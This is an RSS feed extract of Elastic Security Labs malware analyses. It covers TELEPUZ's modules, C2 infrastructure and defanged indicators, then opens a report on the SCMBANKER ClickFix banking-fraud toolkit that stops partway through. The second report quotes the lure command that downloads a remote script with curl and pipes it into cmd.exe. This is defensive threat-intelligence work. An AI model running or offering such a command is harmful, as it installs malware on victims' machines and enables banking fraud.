<td align="left"><code>0x77E0A2E7</code></td>
<td align="left"><code>SetBeaconInterval</code></td>
</tr>
<tr>
<td align="left"><code>0xDED585EE</code></td>
<td align="left"><code>StealProcessToken</code></td>
</tr>
<tr>
<td align="left"><code>0xF4040E98</code></td>
<td align="left"><code>StopMalwareModule</code></td>
</tr>
<tr>
<td align="left"><code>0xB14E7AF4</code></td>
<td align="left"><code>UpdateMalware</code></td>
</tr>
<tr>
<td align="left"><code>0xB152C246</code></td>
<td align="left"><code>Upload</code></td>
</tr>
<tr>
<td align="left"><code>0xB70B7E99</code></td>
<td align="left"><code>WriteToWebInjectModulePipe</code></td>
</tr>
</tbody>
</table>
<p>To maintain a lightweight footprint, TELEPUZ downloads additional functional modules from its C2 server, such as stealer, keylogger, web injector, and cookie extraction modules for Chromium-based browsers.<br />
Operators can specify a custom URI, though commands default to pre-configured values. For example, the <code>ExtractChromeCookiesUsingDownloadedChromeElevator</code> command retrieves a compiled binary of the <a href="https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption">Chrome-App-Bound-Encryption-Decryption</a> project, defaulting to the path <code>/static/assets/chromeelevator.bin</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image12.png" alt="TELEPUZ DownloadRunPE command retrieving Chrome-App-Bound-Encryption-Decryption tool from C2 server" title="TELEPUZ DownloadRunPE command retrieving Chrome-App-Bound-Encryption-Decryption tool from C2 server" /></p>
<p>The table below describes these default module URIs, they appear to be consistent across samples.</p>
<table>
<thead>
<tr>
<th align="left">Module</th>
<th align="left">Path</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">KeyLogger</td>
<td align="left"><code>/static/modules/kMP6HBGEA8.bin</code></td>
</tr>
<tr>
<td align="left">WebInjector</td>
<td align="left"><code>/static/modules/yaVaoS3Bw.bin</code></td>
</tr>
<tr>
<td align="left">Stealer</td>
<td align="left"><code>/static/modules/W2UMxylgG\_.bin</code></td>
</tr>
<tr>
<td align="left">ChromeCookie extractor</td>
<td align="left"><code>/static/assets/chromelevator.bin</code></td>
</tr>
</tbody>
</table>
<p>The WebInjector module is a PE executable that communicates with TELEPUZ via standard I/O handles (STDIN, STDOUT, STDERR). TELEPUZ transmits its configuration in JSON format to the module via STDIN. The following is an LLM-reconstructed version based on the identified fields.</p>
<pre><code class="language-json">{
  &quot;wait_idle&quot;: &quot;bool, default true&quot;,
  &quot;idle_timeout_sec&quot;: &quot;int, default 15&quot;,
  &quot;auto_forward_timeout_ms&quot;: &quot;int, default 30000&quot;,
  &quot;probe_port_start&quot;: &quot;int, default 9222&quot;,
  &quot;probe_port_end&quot;: &quot;int, default 9229&quot;,
  &quot;force_kill_browser&quot;: &quot;bool, default false&quot;,
  &quot;attach_all_tabs&quot;: &quot;bool, default true&quot;,
  &quot;debug_reports&quot;: &quot;bool, default true&quot;,
  &quot;intercept_hold&quot;: &quot;bool, default false&quot;,
  &quot;attach_only&quot;: &quot;bool, default false&quot;,
  &quot;browser&quot;: &quot;string[16], default 'chrome'&quot;,
  &quot;c2_host&quot;: &quot;string[256]&quot;,
  &quot;c2_port&quot;: &quot;int, default 0&quot;,
  &quot;c2_ssl&quot;: &quot;bool, default false&quot;,
  &quot;bot_id&quot;: &quot;string[64]&quot;,
  &quot;sdk&quot;: &quot;string[65536]&quot;,
  &quot;intercept_filter&quot;: &quot;string[256]&quot;,
  &quot;targets&quot;: [
    {
      &quot;url_match&quot;: &quot;string[256]&quot;,
      &quot;name&quot;: &quot;string[64]&quot;
    }
  ],
  &quot;actions&quot;: [
    {
      &quot;id&quot;: &quot;string[64]&quot;,
      &quot;type&quot;: &quot;string[32]&quot;,
      &quot;trigger&quot;: &quot;string[32]&quot;,
      &quot;trigger_url&quot;: &quot;string[256]&quot;,
      &quot;template&quot;: &quot;string[32768]&quot;,
      &quot;template_b64&quot;: &quot;string[32768], base64 decoded into template&quot;,
      &quot;grab_fields&quot;: &quot;string[1024]&quot;,
      &quot;delay_ms&quot;: &quot;int, default 0&quot;,
      &quot;once&quot;: &quot;bool, default false&quot;,
      &quot;request_stage&quot;: &quot;bool, default true (swap_fields only)&quot;,
      &quot;response_stage&quot;: &quot;bool, default true (swap_fields only)&quot;,
      &quot;fields&quot;: {
        &quot;iban&quot;: &quot;string[64]&quot;,
        &quot;amount_max&quot;: &quot;int, default 0&quot;,
        &quot;field_name&quot;: &quot;string[32], default 'iban'&quot;,
        &quot;amount_field&quot;: &quot;string[32], default 'amount'&quot;
      },
      &quot;response_filter&quot;: {
        &quot;remove_where_iban&quot;: &quot;string[64]&quot;
      }
    }
  ]
}
</code></pre>
<p>The module can connect directly to the C2 via WebSocket on the URI <code>/ws/inject?cid=</code> if the connection information is provided in the configuration, allowing it to receive and execute commands directly. Otherwise, it relies on TELEPUZ as a middleman, using the <code>WriteToWebInjectModulePipe</code> command for communication. The module operates on Chromium-based browsers and Firefox. These commands allow the operator to control the injector, manage rules, steal cookies, execute JavaScript, and enable interception capabilities.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image33.png" alt="TELEPUZ WebInjector module targeting Chrome, Firefox, Edge, Brave and Opera browsers for form field interception" title="TELEPUZ WebInjector module targeting Chrome, Firefox, Edge, Brave and Opera browsers for form field interception" /></p>
<p>Despite its name, the WebInjector module does not need to inject into or hook the browser. Instead, it interacts with Chromium-based browsers using the <a href="https://chromedevtools.github.io/devtools-protocol/">Chrome DevTools Protocol (CDP)</a>, which exposes APIs for browser interaction. The Firefox equivalent is the <a href="https://developer.mozilla.org/en-US/docs/Web/WebDriver/Reference/BiDi">WebDriver BiDi</a> protocol. Based on the configuration, the module can intercept webpages at various stages to execute its “actions.” Default values appear centered on swapping form fields containing financial information, such as the IBAN.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image17.png" alt="TELEPUZ WebInjector module creating BiDi session using Chrome DevTools Protocol for browser interception" title="TELEPUZ WebInjector module creating BiDi session using Chrome DevTools Protocol for browser interception" /></p>
<p>TELEPUZ offers several methods for executing code. The <code>DownloadRunPE</code> command downloads a PE executable from a specified URL, creates a <code>dllhost.exe</code> process, with optional elevated privileges, and performs process hollowing with the downloaded PE. Optionally, it can also hollow its own process. The <code>DownloadRunModule</code> command is similar but retrieves the PE from the C2 using a provided path and tracks up to eight modules in a management table. The <code>DownloadLoadMalwareModule</code> command differs slightly: it loads a malware-compatible DLL with known exports, likely to add features or perform additional tasks.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image14.png" alt="TELEPUZ AgentEnvConnect export function using CustomRC4 decryption with known malware DLL exports" title="TELEPUZ AgentEnvConnect export function using CustomRC4 decryption with known malware DLL exports" /></p>
<p>Interestingly the shellcode process injection command is not yet implemented and currently returns <code>INJECT:TODO:pid=%u:shellcode_len=%u</code>, confirming that the malware is still in active development. Finally, the <code>GetPathsInfo</code> command provides detailed information about the malware's current installation.</p>
<pre><code class="language-json">PATHINFO:{&quot;running_from&quot;:&quot;C:\\Users\\Lab\\Desktop\\telepuz.dll&quot;,&quot;in_temp&quot;:false,&quot;install_path&quot;:&quot;C:\\ProgramData\\XeroxPrint\\Temp\\Worker\\grpeng.dll&quot;,&quot;install_exists&quot;:true,&quot;stager_path&quot;:&quot;C:\\Users\\Lab\\AppData\\Roaming\\D3DSCache\\amd64\\SvcValidator.dll&quot;,&quot;stager_exists&quot;:false,&quot;persist_dir&quot;:&quot;DCFG\\Runtime\\Themes\\Processor&quot;,&quot;persist_name&quot;:&quot;etwhost.dll&quot;,&quot;marker_key&quot;:&quot;Software\\Microsoft\\VisualStudio\\Telemetry&quot;,&quot;service_exists&quot;:true,&quot;service_name&quot;:&quot;CipherAllocator&quot;,&quot;host_process&quot;:&quot;rundll32.exe&quot;,&quot;host_pid&quot;:5568}
</code></pre>
<h2>TELEPUZ campaign timeline and C2 infrastructure</h2>
<p>The first <a href="https://www.virustotal.com/gui/file/d0bba09f1bf9253816511731dd376e1cbbc8437c6225fda8b04c0bf1787236b9">TELEPUZ sample</a> was submitted on May 2, 2026. Since then, we have observed regular submissions of new builds, with a steady increase in binary size, and since early June, a significant spike in volume, confirming the campaign's high activity. However, dates from the Telegram channel and the Polygon smart contract indicate that activity began around April 27–29.</p>
<p>The download URLs typically follow the pattern <code>/files/telemetriawork/telepuz.dll.</code> However, variations exist, such as <code>telemetry/network/telepuz.dll</code> or <code>/files/telemetrywork/telepuz</code>. Interestingly, some early versions retained the <code>/file/</code> structure but randomized the remainder of the path, for example, <code>/files/xK7mR9pL2nQw5tY8/ygvfuyze.dll</code>. The complete list is available in the IOCs chapter.</p>
<p>Although numerous domains host the malware's stages and main payload, C2 infrastructure is notably more limited. We have identified two primary domains: <code>cal.joycedoula[.]com[.]br</code>, which has been present in configurations since the earliest VirusTotal samples, and <code>cal.snehamumbai[.]org</code>, discovered through fallback methods. Interestingly, both utilize a <code>'cal.*'</code> subdomain and appear to be legitimate websites compromised by the actor. Based on configuration history and fallback resolution, these domains constitute the core C2 infrastructure, distinct from the payload hosting locations. Their limited number suggests that what we think is a MaaS is still in its early stages, despite the high volume of builds generated. While the staging domains are protected by Cloudflare, concealing their true hosting locations, the C2 servers have been identified as compromised websites located in Brazil and India, respectively.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/image23.png" alt="" title="Joyce Reis Brazilian aromatherapy website compromised and used as TELEPUZ C2 infrastructure hosted in Brazil" /></p>
<h2>TELEPUZ indicators of compromise</h2>
<p>The table below lists the staging domain and URLs for the second and third stages:</p>
<table>
<thead>
<tr>
<th align="left">Domain</th>
<th align="left">First Seen</th>
<th align="left">URL</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>chubrik\[.\]sbs</code></td>
<td align="left">2026-05-09</td>
<td align="left"><code>hxxps://chubrik\[.\]sbs/files/xK7mR9pL2nQw5tY8/ygvfuyze.dll</code></td>
</tr>
<tr>
<td align="left"><code>betalegenda\[.\]cfd</code></td>
<td align="left">2026-05-14</td>
<td align="left"><code>hxxps://betalegenda\[.\]cfd/files/xK7mR9pL2nQw5tY8/kmwvogwx.dll</code></td>
</tr>
<tr>
<td align="left"><code>mavpaprokla\[.\]lat</code></td>
<td align="left">2026-05-19</td>
<td align="left"><code>hxxps://mavpaprokla\[.\]lat/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>comicstar\[.\]lat</code></td>
<td align="left">2026-05-26</td>
<td align="left"><code>hxxps://comicstar\[.\]lat/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>bigblower\[.\]click</code></td>
<td align="left">2026-05-28</td>
<td align="left"><code>hxxps://bigblower\[.\]click/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>momasites\[.\]lol</code></td>
<td align="left">2026-06-05</td>
<td align="left"><code>hxxps://momasites\[.\]lol/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>momasites\[.\]com</code></td>
<td align="left">2026-06-07</td>
<td align="left"><code>hxxps://momasites\[.\]com/files/telemetrywork/telepuz</code></td>
</tr>
<tr>
<td align="left"><code>mamsites\[.\]lol</code></td>
<td align="left">2026-06-07</td>
<td align="left"><code>hxxps://mamsites\[.\]lol/files/telemetrywork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>hardenedom\[.\]shop</code></td>
<td align="left">2026-06-07</td>
<td align="left"><code>hxxps://hardenedom\[.\]shop/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>hardendedom\[.\]shop</code></td>
<td align="left">2026-06-07</td>
<td align="left"><code>hxxps://hardendedom\[.\]shop/files/lemetriawork/epuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>hardendom\[.\]shop</code></td>
<td align="left">2026-06-08</td>
<td align="left"><code>hxxps://hardendom\[.\]shop/files/telemetry/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>hardeneddom\[.\]shop</code></td>
<td align="left">2026-06-10</td>
<td align="left"><code>hxxps://hardeneddom\[.\]shop/files/telemetrywork/telepuz</code></td>
</tr>
<tr>
<td align="left"><code>netblokirovka\[.\]asia</code></td>
<td align="left">2026-06-11</td>
<td align="left"><code>hxxps://netblokirovka\[.\]asia/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>netblokir\[.\]asia</code></td>
<td align="left">2026-06-12</td>
<td align="left"><code>hxxps://netblokir\[.\]asia/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>netlobikrovka\[.\]asia</code></td>
<td align="left">2026-06-14</td>
<td align="left"><code>hxxps://netlobikrovka\[.\]asia/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>neblokirovka\[.\]as</code></td>
<td align="left">2026-06-15</td>
<td align="left"><code>hxxps://neblokirovka\[.\]as/telemetry/network/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>kidsko\[.\]shop</code></td>
<td align="left">2026-06-17</td>
<td align="left"><code>hxxps://kidsko\[.\]shop/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>mazaporka\[.\]shop</code></td>
<td align="left">2026-06-22</td>
<td align="left"><code>hxxps://mazaporka\[.\]shop/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>172.67.215[.]214</code></td>
<td align="left">2026-06-24</td>
<td align="left"><code>hxxps://172.67.215[.]214/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>hurgadatour\[.\]shop</code></td>
<td align="left">2026-06-25</td>
<td align="left"><code>hxxps://hurgadatour\[.\]shop/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>krabsburger\[.\]xyz</code></td>
<td align="left">2026-06-29</td>
<td align="left"><code>hxxp://krabsburger\[.\]xyz/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>zewaplus\[.\]club</code></td>
<td align="left">2026-06-30</td>
<td align="left"><code>hxxps://zewaplus\[.\]club/files/telemetriawork/telepuz.dll</code></td>
</tr>
<tr>
<td align="left"><code>172.67.165[.]144</code></td>
<td align="left">2026-07-06</td>
<td align="left"><code>hxxps://172.67.165[.]144/files/telemetriawork/telepuz.dll</code></td>
</tr>
</tbody>
</table>
<p>The table below lists the identified C2 infrastructure domains:</p>
<table>
<thead>
<tr>
<th align="left">Domain</th>
<th align="left">Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>cal.joycedoula[.]com[.]br</code></td>
<td align="left">Present in configuration of earliest samples.</td>
</tr>
<tr>
<td align="left"><code>cal.snehamumbai[.]org</code></td>
<td align="left">Latest C2</td>
</tr>
</tbody>
</table>
<p>The table below list analyzed samples and their artifacts:</p>
<table>
<thead>
<tr>
<th align="left">Artifact</th>
<th align="left">Type</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed</code></td>
<td align="left">Reference TELEPUZ main payload</td>
</tr>
<tr>
<td align="left"><code>bf3b4e645a3c0c23f87c55971069014f7424ad14497371ee7567eff68ffaf343</code></td>
<td align="left">TELEPUZ main payload</td>
</tr>
<tr>
<td align="left"><code>ff791fe1532a2dc3b3c188a71bfd0177f973ef228e4d1dda1db6d3c4b0d62b3e</code></td>
<td align="left">TELEPUZ main payload</td>
</tr>
<tr>
<td align="left"><code>a955d7e2819d5fa8b5f879cb970e1a1a91327098a7383f2a03a5e1e7e19435e3</code></td>
<td align="left">TELEPUZ keylogger module</td>
</tr>
<tr>
<td align="left"><code>9733a3f6409de81271f21993c7f8b9865ac9f5c68c3d4336e91afe6b312477eb</code></td>
<td align="left">TELEPUZ stealer module</td>
</tr>
<tr>
<td align="left"><code>444f1c0c82b3f6cc31d685bac68b20edbde5722ce219af9cceab0c2a6537efc1</code></td>
<td align="left">TELEPUZ webinjector module</td>
</tr>
<tr>
<td align="left"><code>cfgmgr\_mtx</code></td>
<td align="left">mutex</td>
</tr>
<tr>
<td align="left"><code>bginfod\_mtx</code></td>
<td align="left">mutex</td>
</tr>
<tr>
<td align="left"><code>wfj64\_mtx</code></td>
<td align="left">mutex</td>
</tr>
<tr>
<td align="left"><code>%AppData%\\Local\\DCFG\\Runtime\\Themes\\Processor\\etwhost.dll</code></td>
<td align="left">persistence</td>
</tr>
<tr>
<td align="left"><code>%AppData%\\Roaming\\StateRepository\\Host\\Recovery\\systemreset.dll</code></td>
<td align="left">persistence</td>
</tr>
<tr>
<td align="left"><code>%AppData%\\Local\\MiravaDevices\\noraxrecovery.dll</code></td>
<td align="left">persistence</td>
</tr>
<tr>
<td align="left"><code>%ProgramData%\\XeroxPrint\\Temp\\Worker\\grpeng.dll</code></td>
<td align="left">install</td>
</tr>
<tr>
<td align="left"><code>%ProgramData%\\Jundrax\\Tracker\\IrenScanner.dll</code></td>
<td align="left">install</td>
</tr>
<tr>
<td align="left"><code>%ProgramData%\\QualcommRF\\dsp\_agent.dll</code></td>
<td align="left">install</td>
</tr>
<tr>
<td align="left"><code>HKLM\\SYSTEM\\CurrentControlSet\\Services\\CipherAllocator</code></td>
<td align="left">registry</td>
</tr>
<tr>
<td align="left"><code>HKLM\\SYSTEM\\CurrentControlSet\\Services\\PilotmasterMast</code></td>
<td align="left">registry</td>
</tr>
</tbody>
</table>
<h2>TELEPUZ MITRE ATT&amp;CK tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary's tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0042/">Resource Development</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1106/">Native API</a></li>
<li><a href="https://attack.mitre.org/techniques/T1129/">Shared Modules</a></li>
<li><a href="https://attack.mitre.org/techniques/T1569/002/">System Services: Service Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/011/">Signed Binary Proxy Execution: Rundll32</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1112/">Modify Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/001/">Access Token Manipulation: Token Impersonation/Theft</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/002/">Access Token Manipulation: Create Process with Token</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/012/">Process Injection: Process Hollowing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/006/">Impair Defenses: Indicator Blocking</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/007/">Obfuscated Files or Information: Dynamic API Resolution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/013/">Obfuscated Files or Information: Encrypted/Encoded File</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1622/">Debugger Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1539/">Steal Web Session Cookie</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/">Credentials from Password Stores</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System Owner/User Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1518/">Software Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1614/001/">System Location Discovery: System Language Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1560/002/">Archive Collected Data: Archive via Library</a></li>
<li><a href="https://attack.mitre.org/techniques/T1185/">Man in the Browser</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/002/">Encrypted Channel: Asymmetric Cryptography</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1102/001/">Web Service: Dead Drop Resolver</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion</a></li>
</ul>
<h2>TELEPUZ YARA detection rule</h2>
<p><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Telepuz.yar">Windows_Trojan_Telepuz.yar</a></p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/telepuz-maas-malware-clickfix/telepuz-maas-malware-clickfix.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[ClickFix to Cash-Out: Anatomy of a Mexican Banking-Fraud Toolkit]]></title>
            <link>https://www.elastic.co/kr/security-labs/mexican-banking-fraud-scmbanker-ref6045</link>
            <guid>mexican-banking-fraud-scmbanker-ref6045</guid>
            <pubDate>Wed, 08 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs tracks REF6045, an active operator-assisted banking fraud operation targeting customers of Mexican banks, fintech, payment processors, and cryptocurrency exchanges. ]]></description>
            <content:encoded><![CDATA[<p>A Mexican banking fraud operation we're tracking as REF6045 doesn't run on autopilot. A human operator is behind the wheel, monitoring infected machines and deciding what happens next. Victims are infected through fake CAPTCHA pages that trick them into running a single command, which installs SCMBANKER, a PowerShell toolkit with components dating back to at least October 2025. Once installed, the operator can see when a victim opens a banking session, lock the screen behind a fake bank warning, push the victims toward live phone interaction, redirect the browser, or replace account numbers copied to the clipboard. For a full takeover, they can also deploy a commercial remote-access tool.</p>
<h2>Key takeaways</h2>
<ul>
<li>REF6045 adapts ClickFix delivery into operator-assisted banking fraud, using fake verification pages to stage a PowerShell toolkit (we’re calling SCMBANKER) on victim machines.</li>
<li>SCMBANKER gives operators a full fraud workflow: banking-session monitoring, screenshot capture, vishing overlays, phishing redirects, clipboard manipulation, and Remote Utilities installation.</li>
<li>SCMBANKER heavily targets Mexico’s financial ecosystem, including retail banks, business banking portals, fintechs, payment processors, cryptocurrency exchanges, investment platforms, SAT, and telecom services.</li>
<li>Operator OPSEC failures, including open directories, a leaked web-root archive, and an unauthenticated file editor, expose the operation’s tooling and targeting logic.</li>
<li>The scripts are riddled with AI-generated artifacts, indicating that the operator used an LLM to write most of the tooling.</li>
</ul>
<h2>How Elastic Security Labs discovered REF6045</h2>
<p>On June 18, 2026, Elastic telemetry surfaced a host using <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin">bitsadmin</a> to download a batch of suspicious PowerShell scripts from an open directory at <code>http://68.211.161[.]46/files/</code>. The open directory allowed us to retrieve the individual agent scripts directly, and from the same server, we recovered an archive, <code>zkt.zip</code>, containing the operation's full web root before it was removed.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image16.png" alt="Elastic Defend alerts detecting SCMBANKER's suspicious bitsadmin download activity" title="Elastic Defend alerts detecting SCMBANKER's suspicious bitsadmin download activity" /></p>
<p>At the web root of <code>http://68.211.161[.]46/</code>, we found a ClickFix fake-CAPTCHA flow that presented itself as a security verification page. The page first asked the visitor to complete an image challenge, including a Spanish prompt to select fire hydrants, before moving into the familiar Windows Run verification instructions. The command fetches <code>validation.txt</code> from the same web server and pipes it directly into <code>cmd.exe</code>, using the lure text “Google Verificación Segura (Version 2025.5755)”. The page also sends a POST request to a tracking endpoint at <code>https://ww.ssinvestigaciones[.]com/login3.php</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image17.png" alt="Spanish-language fake CAPTCHA challenge used in the REF6045 ClickFix banking fraud lure" title="Spanish-language fake CAPTCHA challenge used in the REF6045 ClickFix banking fraud lure" /></p>
<p>Because <a href="https://developer.mozilla.org/en-US/docs/Web/API/Clipboard/writeText"><code>navigator.clipboard.writeText()</code></a> requires a secure, focused browser context to copy the malicious command to the victim's clipboard, the original IP (<code>http://68.211.161[.]46/</code>) was unlikely to be the only victim-facing delivery path. We identified multiple HTTPS ClickFix hosts that reused the same command pattern and pointed victims back to the exposed file servers for <code>validation.txt</code>.</p>
<p>The observed ClickFix and file-server variants are included in the following table. The C2 values were extracted from the PowerShell scripts hosted under each <code>/files</code> open directory.</p>
<table>
<thead>
<tr>
<th align="left">ClickFix host</th>
<th align="left">ClickFix validation.txt file source</th>
<th align="left">File host (hosting toolkit)</th>
<th align="left">C2 extracted from hosted PS1 scripts</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>https://ratonvaquero2026[.]online/</code></td>
<td align="left"><code>http://68.211.161[.]46/validation.txt</code></td>
<td align="left"><code>https://ratonvaquero2026[.]online/files/</code></td>
<td align="left"><code>https://negratomasa2026[.]online/dashboard2/recData.php</code></td>
</tr>
<tr>
<td align="left"><code>https://monteviral2026.duckdns[.]org/</code></td>
<td align="left"><code>http://68.211.161[.]46/validation.txt</code></td>
<td align="left"><code>https://monteviral2026.duckdns[.]org/files/</code></td>
<td align="left"><code>https://gestionmontelavaria2026[.]online/dashboard2/recData.php</code></td>
</tr>
<tr>
<td align="left"><code>https://osogransd[.]online/</code></td>
<td align="left"><code>http://216.250.112[.]100/validation.txt</code></td>
<td align="left"><code>https://osogransd[.]online/files/</code></td>
<td align="left"><code>http://185.242.246[.]169/dashboard2/recData.php</code></td>
</tr>
</tbody>
</table>
<h2>SCMBANKER's execution chain</h2>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image20.png" alt="Diagram of the REF6045 SCMBANKER execution chain from ClickFix lure to C2 control" title="Diagram of the REF6045 SCMBANKER execution chain from ClickFix lure to C2 control" /></p>
<p>The initial infection chain described below uses the <code>monteviral2026.duckdns[.]org</code> ClickFix page as an example, but the observed variants follow the same pattern: they present a CAPTCHA-style verification page, including an image challenge, before copying a command to the clipboard and instructing the victim to run it from the Windows Run dialog.</p>
<p>Below is an example command line:</p>
<pre><code class="language-shell">cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe &amp; exit #                                                     CIoudfIare            Google Verificación Segura (Version 2025.5755)
</code></pre>
<p>Decoy strings <code>CIoudfIare</code> with capital-I homoglyphs, and the <code>Google Verificación Segura</code> version text are reproduced verbatim.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image18.png" alt="ClickFix fake verification page telling victims to paste a command into Windows Run" title="ClickFix fake verification page telling victims to paste a command into Windows Run" /></p>
<p>Despite the <code>.txt</code> extension, it is a Windows batch script that prepares the host and sets up the full toolkit in six different stages.</p>
<h3>Fake update smokescreen</h3>
<p>The batch script immediately launches Microsoft Edge in <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-configure-kiosk-mode#overview">kiosk mode</a> pointing to <code>fakeupdate[.]net</code>, a well-known pentesting/red team site that renders a fake Windows Update screen. This distraction buys time for the script to fully execute.</p>
<pre><code class="language-shell">start msedge.exe --kiosk https://fakeupdate[.]net/win10ue --edge-kiosk-type=fullscreen
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image3.png" alt="Fake Windows Update screen SCMBANKER displays to distract Mexican banking fraud victims" title="Fake Windows Update screen SCMBANKER displays to distract Mexican banking fraud victims" /></p>
<h3>UAC consent fatigue loop</h3>
<p>Next, the malware checks if it is running as admin via <code>net session</code>. If it is not elevated, it shows a social-engineered message &quot;Windows: Se requieren permisos de administrador para actualizar su sistema...&quot; (Administrator permissions are required to update your system…), and relaunches itself with <code>-Verb RunAs</code> every 20 seconds, frustrating and forcing the victim to click “Yes” on the UAC consent prompt.</p>
<pre><code class="language-shell">:check
